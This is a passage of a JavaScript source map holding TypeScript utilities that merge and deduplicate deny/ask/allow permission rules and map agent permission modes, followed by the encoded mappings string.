\"allow\"] as const) {\n      for (const rule of tiers[tier] ?? []) {\n        result.push({ ...normaliseStringRule(rule, tier), when: { role } });\n      }\n    }\n  }\n\n  return result;\n}\n\n// ---------------------------------------------------------------------------\n// Shared merge utilities\n// ---------------------------------------------------------------------------\n\n/** Most restrictive mode wins. */\nconst MODE_RESTRICTIVENESS: Record<string, number> = {\n  readonly: 4,\n  restricted: 3,\n  plan: 3,\n  standard: 2,\n  acceptEdits: 2,\n  default: 2,\n  auto: 2,\n  autonomous: 1,\n  dontAsk: 4,\n  bypassPermissions: 1,\n};\n\n/** Tier priority for deduplication — deny beats ask beats allow. */\nconst TIER_RANK: Record<PermissionTier, number> = {\n  deny: 3,\n  ask: 2,\n  allow: 1,\n};\n\n/**\n * Map a schema-mode string to a normalised evaluation mode.\n *\n * Agent-specific names (bypassPermissions, dontAsk, plan) are mapped to their canonical\n * equivalents.\n */\nexport function mapMode(mode: string): PermissionPolicy[\"defaultMode\"] {\n  switch (mode) {\n    case \"autonomous\":\n    case \"bypassPermissions\":\n      return \"autonomous\";\n    case \"restricted\":\n    case \"plan\":\n      return \"restricted\";\n    // Claude Code's dontAsk turns every prompt into a denial: what no rule allows is refused.\n    case \"readonly\":\n    case \"dontAsk\":\n      return \"readonly\";\n    default:\n      return \"standard\";\n  }\n}\n\n/** Compare two mode strings by restrictiveness. Returns the more restrictive of the two. */\nexport function mostRestrictiveMode(\n  a: string | undefined,\n  b: string | undefined,\n): string | undefined {\n  if (a === undefined) return b;\n  if (b === undefined) return a;\n  const rankA = MODE_RESTRICTIVENESS[a] ?? 2;\n  const rankB = MODE_RESTRICTIVENESS[b] ?? 2;\n  return rankB > rankA ? b : a;\n}\n\n/**\n * Rule identity key for deduplication: tool, pattern and condition, excluding tier. Two rules that\n * differ only in `when` apply in different places, so they are different rules.\n */\nexport function ruleKey(rule: Rule): string {\n  const when = Object.entries(rule.when ?? {}).sort(([a], [b]) =>\n    a < b ? -1 : a > b ? 1 : 0,\n  );\n  return JSON.stringify([\n    rule.tool,\n    rule.pattern ?? \"\",\n    when,\n    rule.hidden === true,\n  ]);\n}\n\n/**\n * Deduplicate rules by tool, pattern and condition, keeping the highest-priority tier. Deny beats\n * ask beats allow for the same rule identity.\n */\nexport function deduplicateRules(rules: Rule[]): Rule[] {\n  const map = new Map<string, Rule>();\n  for (const rule of rules) {\n    const key = ruleKey(rule);\n    const existing = map.get(key);\n    if (existing === undefined) {\n      map.set(key, rule);\n    } else if (TIER_RANK[rule.tier] > TIER_RANK[existing.tier]) {\n      map.set(key, rule);\n    }\n  }\n  return Array.from(map.values());\n}\n"],"mappings":"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"}